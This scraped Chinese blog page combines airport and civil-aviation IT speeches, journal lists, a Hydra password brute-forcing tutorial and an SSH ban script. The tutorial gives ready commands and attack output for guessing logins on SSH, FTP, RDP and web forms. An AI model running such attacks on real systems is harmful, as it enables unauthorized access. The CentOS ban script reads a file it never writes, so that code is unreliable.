旅客服务、生产运行向机场全要素调整,从机场运营向规划设计全生命周期转变,智慧数字化转型正在逐步深层次融入民航机场的发展。我分享的第二部分内容是围绕新形势,全行业推进智慧机场建设面临的新挑战。今年是四型机场进入全面推进、转段进阶的跨越年,也是打造民航机场品质工程的开局年。在上周闭幕的鄂州全国民航机场建设管理大会上,我们深入总结了当前智慧机场、四型机场建设的形势特点。我们认为,目前主要呈现出三个变化:一是工作方向从深化认识转向具体实施,更加强调落地性;二是工作思路从搭建框架转向细化分解,更加强调系统性;三是工作重心从示范先行转向全面推进,更加强调整体性。全行业总体上已经由"为什么"迈向了"怎么干”,由顶层框架设计细化分解为具体实施指南、由示范标杆带动转变为“一个也不能掉队”。与此同时,我们也深刻认识到在推进智慧建设和四型建设的过程中还存在着四个方面的挑战:一是理念认识不够深入,工作推进存在挑战。目前仍然还有部分机场对智慧发展理念认识不深入不彻底,有些单位仍然认为智慧机场就是堆砌技术、采购新设备、搭建新系统,为智慧化而搞智慧,把工作手段和工作目标湿淆;还有的单位盲目照搬照抄追赶潮流,别的机场用了我就用、国外有了我就效仿。智慧机场运营应该明确自身工作需求、明确工作目标、制定一体规划、紧紧围绕机场的痛点和难点,以便捷旅客、运行安全和提高效率为导向开展智慧化转型。二是政策标准供给不够全面,制度保障存在挑战。我们现行的政策标准已经不能够适应智慧化机场建设快速发展的需求。刚才国庆局长在讲话中也强调了这一点,深化改革任务更加急切和紧迫。比如,我们制定了机场新技术推广应用的政策,但是名录的更新、机制的落地等方面都已经滞后了行业的发展,民航工程建设领域的概预算和工程定额由于发布时间比较早,涵盖内容有限,已经难以支撑智能和新型基础设施项目的建设,制约了智慧机场的需求;再比如,机场无人驾驶设备由于缺少具体的管理制度、检测机制和标准规范,目前整体上还处于“进不来、不敢用”的尴尬境地,特别是我们围绕着无人驾驶设备的全场景检测基地,目前行业还没有建立完善这样的检测环境。三是管理模式不能完全匹配,融合应用存在挑战。民航机场生产运行和管理体系是环环相扣的整体系统,智慧机场建设不能只解决生产资料,更需要扎实厘顺运营管理机制,需要深入到生产关系调整的层面。比如,各类平台系统虽然先后部署,但是由于缺乏一体规划,数据无法实现互联互通,只能实现机场局部的分散问题,无法实现整体智慧,比如无人驾驶设备的应用还需要解决无人设备与有人设备、无人设备与航空器的同场协同运行问题,才能够有效发挥作用;再比如各类的刷脸刷码通关系统,如果没有深层次的优化全流程通关机制,就仍然无法避免困扰旅客的排长队的问题。在上周民航局新闻发布会上,民航局公安局正式推出了差异化安检项目,就在这方面迈出了实质性一步,为旅客真正带来了高效与便捷。四是科技创新还不能够完全支撑,自立自强存在挑战。目前,我们在机场新技术和智慧系统方面的研发基础还不够牢固,自主创新能力还不够。比如,我们在机场规划设计中使用的仿真模拟软件大多都来自于国外,其中关键的逻辑算法和建模原理我们都不掌握,这些问题大大影响了仿真应用的效果;再比如,有的信息化企业和科研机构还缺乏对民航业务领域的深入了解,与行业融合仅仅停留在销售技术和产品层面,数字化技术与民航业务无法实现深层次的聚合创新,智慧产品对机场高质量发展无法充分地发挥效能。这是以上和大家分享的四个方面的挑战。第三个部分,面对新发展,充分把握智慧机场发展主线,启动新征程,就是我们下一步要怎么干。围绕四型机场建设,打造品质工程的要求,下阶段的工作,我们将重点从五个方面推动发力,全面深化智慧机场建设。第一,围绕政策体系发力,做好框架完善。抓紧推动《机场新技术推广应用管理办法》的出台,着力强化新型技术产品的应用支持,加快推进机场智能建造与建筑工业化行动方案的落地实施,完善指导文件体系,积极地鼓励相关机场试点示范,推进修订《机场工程预算定额和概预算管理办法》,为智能建造和新基建提供资金保障支持。二是围绕标准体系发力,着力加强标准供给。重点针对 BIM、装配式施工、机场无人驾驶设备等行业迫切需要的领域加快推进标准体系的构建与文件制定,积极地推动行业内外资源的融合,鼓励科研成果和实践产品及时向标准进行转化,不断地完善标准体系的构建。三是围绕推进体系发力,促进全员参与。目前我们发现,中小机场在智慧化建设方面发声少、参与性不强,下步我们考虑要向中小机场倾斜,重点遴选一批示范案例,鼓励更多中小机场围绕旅客出行基本需求,因地制宜地打造小而精、小而美的标杆项目,研究探索适宜中小机场开展智慧机场、四型机场建设的实现路径。四是围绕创新体系发力,补强科技基础。“十四五”时期是民航机场科技创新提升技术引领发展的关键时期,我们要牢牢抓住科技创新的这个"牛鼻子",紧密围绕智慧民航建设这条主线,聚焦提升机场规划设计水平,扎实开展基础研究储备,重点地推进机场无人驾驶设备的推广应用,研究数字孪生机场实现路径,为优化机场建设打造智慧化运营提供技术支控。五是围绕合作体系发力,强化工作协同。几年来,一大批中央企业和各个方面的科研院所积极响应行业发展需求,开展了大量的智慧机场的科研实践活动。比如,中交、中电科、华为等单位积极地参与了各地的机场智慧化建设,并形成了深度融合发展的关系;中铁、中建等大型中央建筑企业以及苏交科、华设等大型设计院所先后参与机场建设与相关课题研究,为行业带来了大量有利资源。我们先后认定了6家民航机场工程中心和重点实验室,开展了一系列的智慧发展与科技创新工作,我们于今年年初成立了民航工程建设标准化技术委员会,并在工程建设标准体系下设立了新基建的标准体系,希望更多的专家和研究机构能够加入进来,参与到智慧机场标准体系建设,为我国智慧机场标准的国际化共同努力,我们还将继续搭建合作平台,希望进一步汇聚来自各方力量,共同地推进智慧机场、四型机场建设再上新台阶,为民航强国建设再出新力。各位领导、各位来宾,未来,智慧将成为民航机场的鲜明特色,发展前景广阔,但是道路任重而道远,我们迫切需要行业内外的各单位、各个行业的专家学者积极广泛地参与进来,齐心协力、共建共享,共同开创智慧机场、四型机场建设,打造品质工程,共同开创民航机场高质量发展的未来!最后,感谢中国民航报社,感谢各单位一直以来对机场司工作的支持,预祝本次会议取得圆满成功,谢谢大家!3.中国民用航空局总工程师 殷时军殷时军:尊敬的杨国庆局长,各位领导、各位嘉宾,朋友们大家上午好!很高兴和大家见面,有机会聆听各位专家、学者关于民航信息化发展的真知灼见,本次论坛是在全行业认真贯彻落实党的十九届六中全会精神之际召开的。论坛聚焦信息化助力民航高质量发展这一富有时代性、行业性的主题,有助于帮助大家更好地了解当今世界信息化发展的新形势和“十四五”时期民航信息化发展的新思路,为“十四五”民航信息化工作开好头、起好步、布好局,以信息化赋能行业高质量发展,更好地服务民航强国建设,在此,我谨代表民航局对大家的到来表示热烈的欢迎和衷心的感谢!也借此机会,我谈三个方面的意见,同大家交流。第一方面,"十三五”时期中国民航信息化发展取得显著成绩。"十三五”时期,民航局党组认真贯彻落实"十三五"国家信息化规划,在信息化基础设施建设、重要信息系统开发运行、专业技术队伍建设和人才培养方面均取得显著成绩为加快民航强国建设,实现民航高质量发展提供了坚实支撑、发挥了积极作用。一是民航信息化建设理念越来越明。“十三五”以来,民航局先后召开全国民航科教创新大会、民航科教创新成果展、民航科教创新高端对话会、智慧民航建设领导小组第一次会议等高规格会议,对行业信息化建设进行全面部署和有力推动,民航信息化发展的新格局已初步形成。在发展战略上明确以智慧出行、智慧空管、智慧机场、智慧监管四个智慧为抓手,全面推动全行业智慧民航建设工作,在发展主体上明确以航空公司、机场、空管为信息化建设和运行的主体,在发展目标上明确信息化建设以夯实安全基础、提升运行效率、提高服务品质为重点,行业信息化建设的理念和思路更清晰、更系统、更全面。二是民航信息化水平越来越高。目前我们已经基本完成了六大信息化系统工程建设,完善了空管数据通讯网和民航运输商务通信网两大专用骨干通信网络,网络基础设施初具规模,建成了民航局及七大管理局的电子政务门户网站,民航电子政务成效显著,民航旅客服务系统、货运系统、收入管理系统、结算系统不断扩容升级,航空企业信息化覆盖离港飞行、到港、市场销售、服务等业务流的各功能环节。初步建成了民航电子商务运行大数据信息网络、国产电子客票系统成功投产、新一代智能旅客服务系统推广应用,民航信息化水平和能力得以快速提升。三是民航信息化融合发展越来越紧。十三五期间,我们与中国电科、中科院、中船 工业、北航大、南航大等公司、科研院所、高校加强产业合作,组建民航科教创新攻关联盟、成立民航高质量发展研究中心、新技术应用领导小组等不断集聚行业内外优势资源和力量:深化局企局校信息发展合作,我们与铁路部门签署战略合作协议,扩大空铁联运信息共享,设计开发联乘运输产品,实现旅客一站购票,开启了铁路车次,航班信息的数据共享时代,我们与华为、腾讯、百度、阿里等IT企业共商信息化发展技术架构,共议信息化发展未来场景应用,共享信息化发展经验案例,进一步深化了信息化发展多方参与的格局。通过这些战略合作,实现资源共享、信息互通、融合发展,为推动民航高质量发展提供了有力科技支撑。四是民航信息化作用越来越好。"十三五”以来,我们以行业信息化为抓手,扎实推进四型机场、四强空管建设,行业信息化建设的应用场景在行业中越来越广泛。从运行环节看,民航空管三中心工程正式投运,大幅提升空管运行保障能力,民航流量管理、航空气象和航情情报服务能力以及航空公司机场和空中交通管理部门之间的统筹协调能力,全国民航流量系统正式全网试验运行,为加快建立以流量管理为核心的空管运行服务体系尊定了坚实基础。GPS等国产自主卫星导航应用持续提升,为进一步提高我国民航可靠安全的运营提供重要技术支撑,不断深化航权、时刻和预先飞行计划的三网数据融合,推动机场、空管、航司间关键运行数据共享,进一步提升航班运行效率和航班正常率。从服务环节看,全国234座机场实现了国内航班无纸化便捷出行,千万级机场国内旅客自助值机占比超过7成,旅客排队时间大大减少;12家机场撤试运行预安检服务,通行效率明显提高;人脸识别只需2秒钟,准确率能达到99.8%,远高于人工识别准确率。北京大兴国际机场和成都天府国际机场采用的行李自动化传输系统大大提高了行李的传输效率,部分机场航站楼实现一站购票、一证通关、无缝衔接。从监管环节看通过云、大数据、人工智能等信息化手段,推行互联网+监管,推动SaaS系统建设,创新监管方式、试点非现场监管、加强事中事后监管,推广精准监管示范做法,开展差异化监管试点,以监管模式转型推动了安全管理水平提升。五是民航信息化安全屏障越来越牢。"十三五"期间,民航局高度重视信息网络安全问题,积极推动网络安全等级保护制度在行业的落实,加大数据治理和数据共享,加快制定完善相关行业标准,推进国产化设备使用。目前全行业共有300多个等级保护三级系统、800多个等级保护二级系统,已经建立了行业级的网络与信息安全管理平台,面向民航2000多个互联网网站和应用系统,实时监测行业整体安全状态,行业网络保护不断加强,为重要生产运行系统筑牢了安全防线提供了有力保障。第二方面,准确把握"十四五”时期民航信息化建设形势特点。"十四五”时期是我国由全面建成小康社会向基本实现社会主义现代化迈进的关键时期,也是我们由单一航空运输强国向多领域民航强国迈进的筑基器。智慧民航建设是多领域民航强国建设的重要机手,是“十四五”时期民航发展的工作主线,我们要以智慧民航建设为引领,准确把握信息化发展的新形势、新特点。一是牢牢把握数字化转型新趋势,为国家经济发展提供强劲动能。随着数字经济在全球范囤的高速发展,世界经济数字化转型是大势所趋,数字经济已成为世界经济的重要发展方向。我们应该看到近年来我国网上购物、在线教育、远程医疗等非接触经济全面提速,数字经济为推动中国经济高质量发展提供了路径,一方面国民经济数字化转型为民航发展创造了良好环境,另一方面,民航数字化转型为现代化经济体系构建提供支撑。我们要把数字经济转型快速发展带来的新机遇,顺应数字经济时代的新趋势进一步加快民航数字化转型,以数字化提高质量、推动创新、深化改革。二是牢牢把握智慧化发展新趋势,为民航强国建设提供全新机遇。"十四五”时期是民航开启多领域民航强国建设新征程的起步阶段,需要更加安全、更高效率、更有质量的发展,民航局把推进智慧民航建设作为行业工作主线,作为在新时代推动创新驱动发展战略、培育扩大行业发展新空间,提升行业安全发展质量和效率的重要推动力,作为实现多领域民航强国建设的必由之路。我们要对智慧民航的理念思路、战略目标、任务路径有更清晰的认识,牢牢抓住转型发展机遇,巩固在交通运输系统中的比较优势和核心党争力,要以智慧化提升安全水平、提升运行效率、提升服务品质,创造行业更长安全周期,提高行业全要素生产率,让旅客充分享受民航发展带来的获得感、幸福感。三是牢牢把握平台建设新趋势,为民航高质量发展提供有力支撑。随着"十四五”期间行业规模的进一步扩大,信息技术的新一部升级、信息管理的进一步完善,我们对平台建设的需求将更加迫切,我们要充分认识平台化建设的必要性和紧迫性,牢牢把握平台建设的契机,承担起平台化建设的责任,要利用好传统平台、优化好已有平台、搭建好创新平台,充分发挥信息化平台对行业信息化的推动作用。第三方面,统筹谋划民航信息化建设目标任务。当前,世界面临百年未有之大变局,特别是新冠肺炎疫情更推动了国际秩序加快调整,加速推动了全球数字化进程。中国民航要想更好地顺应新的发展趋势,实现民航信息化的大发展,就必须抓住机遇,形成合力,以智慧民航建设为牵引,大力推进信息化,用信息化培育新动能,用新动能推动新发展,切实做好信息化建设这项系统工程,努力开创新时代民航信息化工作的新局面。一是顶层设计要提为。目前我们已基本完成了民航发展"十四五”规划编制工作,智慧民航建设被纳入到总体规划中并对其定位任务进行了明确部署,在未来的信息化建设中我们要通盘谋划、抓好统筹,不断扩大顶层设计维度,坚持大格局大视野,放眼全球,与国际上信息化发展趋势结合起来,与我国信息化主体规划结合起来,加强与其他行业信息化发展路径的衔接,立足行业、跳出行业看行业,全力整合行业资源,制定出与全球趋势更贴切、与我国国情更适合、与行业发展更匹配的信息化规划、信息化路径和信息化标准。二是投入标准要提高。要充分利用民航发展基金的杠杆作用,制定和完善鼓励信息化建设的财政支持政策,拟定机场新技术产品名录指南,制定新技术应用推广路线图,对新技术成果应用信息化人才培养等信息化建设各场工作给予财政倾斜和财经支持,为推进信息化建设转型升级、实现民航信息化高质量发展提供坚实的资金保障;行业各相关企事业单位也要加大对信息化的资金投入力度,在有限的资金中尽量向信息化项目倾斜,不断完善信息化技术设施,全力支持行业信息化建设。三是新基建要提速。要把握信息基础设施建设快速演进升级的重要契机,加强顶层设计和前瞻布局,切实落实好推动新型基础设施建设,促进民航高质量发展实施意见和推动基础设施建设五年行动方案,在行业安全管理、机场运行服务、空中交通管理、市场监管、通用航空及无人机发展等方面加快推进以数字技术为基础的新基建,做好智慧民航监管服务系统示范项目,形成民航智慧监管的生态系统根基,并示范带动行业各方向、各领域新基建工作开展,统筹推进行业传统基础设施与新型基础设施建设,全面优化和提升行业安全服务运行水平。四是实现应用要提级。要不断加强对行业各领域信息资源的统筹管理和数据资源的开发利用,加强技术设备标准的研究推广,大力推进智慧机场、智慧空管建设,通过建立高效运行可靠的安全生产信息系统,提升风险防范能力、丰富安全监管手段、提高安全管理效能,利用更多的信息化手段加强ACDM和 CDM协同联动,科学加强航班预先计划安排和航班计划执行,实现资源共享和协同决策最大化,从而提升航班正常率;以大数据应用、移动互联网为平台,不断创新服务模式,在改签中转、旅客步行距离、行李运输等环节上下功夫,探索全流程便利化服务功能,将信息化应用覆盖民航全领域全流程全要素。五是专业人才队伍要提质,民航所具有的高技术属性决定了这个行业对于高素质人才的迫切需求,特别是要发展民航信息化更需要一大批既懂信息技术又熟悉专业知识的高素质人才来承担信息化技术研究、开发推广、服务应用、高级管理等工作。我们要高度重视信息化专业人才队伍建设工作,民航院校要加强信息化人才培养、做好人才储备:科研院所要创新推行人才激励机制,提高人才待遇、改善人才环境,留住人才、用好人才;各企事业单位要通过完善管理、培训和考核制度提升相关人员专业技能、提高人才队伍综合能力和素质。六是网络安全保障能力要提升。面对全球范围内复杂的网络安全形势,要进一步优化网络安全管理制度体系,加强网络安全技术保障体系建设,有效落实网络安全保护"三化六防”措施,落实民航关键信息基础设施安全保护制度,通过智慧化手段提升民航网络安全监测预警和应急处置能力,有效应对智慧民航网络安全风险隐患,确保网络安全重大事件得到有效防范、遏制和处置,全面提升行业网络安全保障能力。各位来宾,同志们,信息化建设是一项长期而重要的系统工程,需要我们高度重视、长抓不懈,我们要坚持以智慧民航建设为主线不动摇,勇于创新、锐意进取,不断提高行业信息化水平,用信息化高质量发展助力民航高质量发展为我国数字经济高质量发展发挥更大作用,做出更大贡献祝本次论坛圆满成功,谢谢大家!
2021年12月09日
500 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
628 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
849 阅读
0 评论
0 点赞
2021-12-07
CCF推荐学术刊物目录-人工智能
0.完整版pdf中国计算机学会推荐国际学术会议和期刊目录-2019中国计算机学会(CCF)推荐中文科技期刊目录-20191.国际期刊A类B类C类2.国际会议A类B类C类3.中文A类B类C类参考资料中国计算机学会推荐中文科技期刊目录(人工智能)中国计算机学会推荐国际学术刊物(人工智能)
2021年12月07日
734 阅读
0 评论
0 点赞
2021-11-27
计算机技术核心期刊大全(2020年最新整理)
1、计算机学报简介:《计算机学报》是中国计算机领域的权威学术刊物。 其宗旨是报道我国计算机科学和技术领域最高水平的科研成果。 《计算机学报》创立于1978年,以中文编辑形式与读者见面,同时以英文摘要形式向国际各大检索系统提供基本内容介绍。 本刊是中国计算机领域的代表性学术刊物,作为科学研究档案,代表了计算机领域各研究阶段的水平。收录:北京大学《中文核心期刊总览》EI 工程索引(美)(2018)CSCD 中国科学引文数据库(2017-2018年度)(含扩展版)统计源核心期刊(中国科技论文核心期刊) 2、软件学报简介:《软件学报》 (月刊)创刊于1990年,由中国科学医院软件研究所和中国计算机学会联合主办。 刊载软件各领域原创研究成果的期刊,刊载的论文均经过严格的同行专家评议,2000年获中国科学院优秀科技期刊等奖。《软件学报》主要面向全球华人计算机软件学者,为全球华人计算机科学和致力于与软件技术发展同步创设以中文为中心的《中文国际软件学术杂志》的中国人提供学术交流平台。 刊载反映计算机科学和计算机软件更新理论,重视更新方法和新技术和学科发展趋势的文章主要有理论计算机科学,算法设计和分析,系统软件和软件工程,模式识别和人工数据库技术、计算机网络、信息安全、计算机图形学和计算机设计支持、多媒体技术和其他相关内容。3、自动化学报简介:《自动化学报》 (月刊)创刊于1963年,是中国自动化学会、中国科学院自动化研究所共同主办的高级学术期刊。 刊载自动化科学和技术领域的高水平理论性和应用性的科研成果。 内容如下:1)自动控制2 )系统理论和系统工程3 )自动化工过程技术和应用4 )自动化系统计算机辅助技术5 )机器人6 )人工智能和智能控制7 )模式识别和图像处理8 )信息处理和信息服务9 )基于网络的自动化等。4、计算机研究与发展简介:《计算机研究与发展》 (月刊)创刊于1958年,中国科学医院计算技术研究所,中国计算机学会主办。 刊载内容: 计算机科学技术领域高水平的学术论文,最新科研成果和重大应用成果。 刊载内容:评估、计算机基础理论、软件技术、信息安全、计算机网络、图形图像、体系结构、人工智能、计算机应用、数据库技术、存储技术和计算机相关领域。5、控制与决策简介:《控制与决策》创刊于1986年,由教育部主管、东北大学主办。本刊是自动控制与管理决策领域的学术性期刊,主要刊登自动控制理论及其应用,系统理论与系统工程,决策理论与决策方法,自动化技术及其应用,人工智能与智能控制,机器人,以及自动控制与决策领域的其他重要课题。主要栏目有:综述与评论、论文与报告、短文、信息与动态等。6、中国图象图形学报简介:《中国图象图形学报》是由中国科学院遥感与数字地球研究所、中国图象图形学会、北京应用物理与计算数学研究所共同创办,是集计算机图像图形高科技理论、技术方法与应用研究成果产业化于一体的综合性学术期刊。主要刊登图像图形科学及其密切相关领域的基础研究和应用研究方面,并具有创新性的、高水平科研学术论文,论文形式主要有综述、技术报告,项目进展、学术动态、新技术评论、新产品介绍和产业化研究等。内容涉及图像分析和识别、图像理解和计算机视觉、计算机图形学、虚拟现实和增强现实、系统仿真、动漫等众多领域,同时还根据各时期的研究热点和前沿课题开设相应的主 题专栏。读者对象不从事国防、军事、航空、航天、通信、电子、汽车、农业、气象、环保、遥感、测绘、油田、建筑、交通、金融、电信、教育、医疗、影视、艺术等科技人员、企业主管及高等院校的研究生,大学生。7、计算机辅助设计与图形学学报简介:创刊于1989年,是我国CAD和计算机图形学领域第一个公开出版的学术刊物,原为季刊,1996年起改为双月刊,从2000年起改为月刊。该刊以快速传播CAD与计算机图形学领域的知识与经验为目的,刊登有创新的学术论文,报导最新科研成果和学术动态,及时反映该领域发展水平与发展方向。读者对象为从事CAD和计算机图形及其他有关学科的科研、工程技术人员及高等院校师生。8、计算机应用研究简介:《计算机应用研究》创刊于1984年,是由国家科技部所属四川省计算机研究院主办,北京、天津、山东、吉林、云南、贵州、安徽、河南、广西、甘肃、内蒙古等十余省市计算中心协办的计算技术类学术刊物。主要刊载内容包括本学科领域高水平的学术论文、本学科最新科研成果和重大应用成果。栏目内容涉及计算机学科新理论、计算机基础理论、算法理论研究、算法设计与分析、系统软件与软件工程技术、模式识别与人工智能、体系结构、先进计算、并行处理、数据库技术、计算机网络与通信技术、信息安全技术、计算机图像图形学及其最新热点应用技术。9、计算机科学简介:《计算机科学》(Computer Science)创刊于1974年1月(月刊),由重庆西南信息有限公司(原科技部西南信息中心)主管主办,曾用刊名计算机应用与应用数学,是中国计算机学会(CCF)会刊。主要报道国内外计算机科学与技术的发展动态、涉及面广的方法论与技术、反映新苗头且能起承先启后作用的研究成果。10、计算机应用简介:《计算机应用》创刊于1981年,是中国计算机学会会刊。本刊旨在介绍计算机应用技术,推动经济发展和科技进步,促进计算机应用创新的开发。 多年来,中国计算机学会一直关注着国内计算机各应用领域的专家。读者对象:计算机应用工程技术人员、大专院校师生、企事业单位管理干部、科研院所从事计算机开发应用人员、计算机公司职员等必备的工具,是启迪思维、开拓进取、更新知识、开发应用的良师益友。11、计算机工程简介:《计算机工程》创刊于1975年,是中国电子科技集团公司第三十二研究所(华东计算技术研究所)和上海市计算机学会主办的学术性刊物,刊登内容: 热点与综述、人工智能与模式识别、先进计算与数据处理、网络空间安全、移动互联与通信技术、体系结构与软件技术、图形图像处理、开发研究与工程应用等。12、控制理论与应用简介:《控制理论与应用》1984年创刊,是教育部主管、由华南理工大学和中科院数学与系统科学研究院联合主办的全国学术刊物。主要报道在控制理论与应用方面的高水平学术论文,特别是系统控制、最优化和自动化领域中的新兴问题、原创方法及尖端技术,为控制领域的科学家和工程师们提供一个交流最新成果的平台。主要报道系统控制科学中具有新观念、新思想的理论研究成果及其在各个领域中, 特别是高科技领域中的应用研究成果和在国民经济有关领域技术开发、技术改造中的应用成果. 内容包括: 1) 系统建模、辨识与估计; 2) 数据驱动建模与控制;3)过程控制; 4)智能控制; 5)网络控制; 6) 非线性系统控制; 7) 随机系统控制; 8) 预测控制; 9) 多智能体系统及分布式控制; 10)鲁棒与自适应控制;11) 系统优化理论与算法; 12) 混杂系统与离散事件系统; 13)工程控制系统;14)航空与航天控制系统;15)新兴战略产业中的控制系统;16)博弈论与社会网络;17)微纳与量子系统;18)模式识别与机器学习;19)智能机器人;20) 先进控制理论在实际系统中的应用; 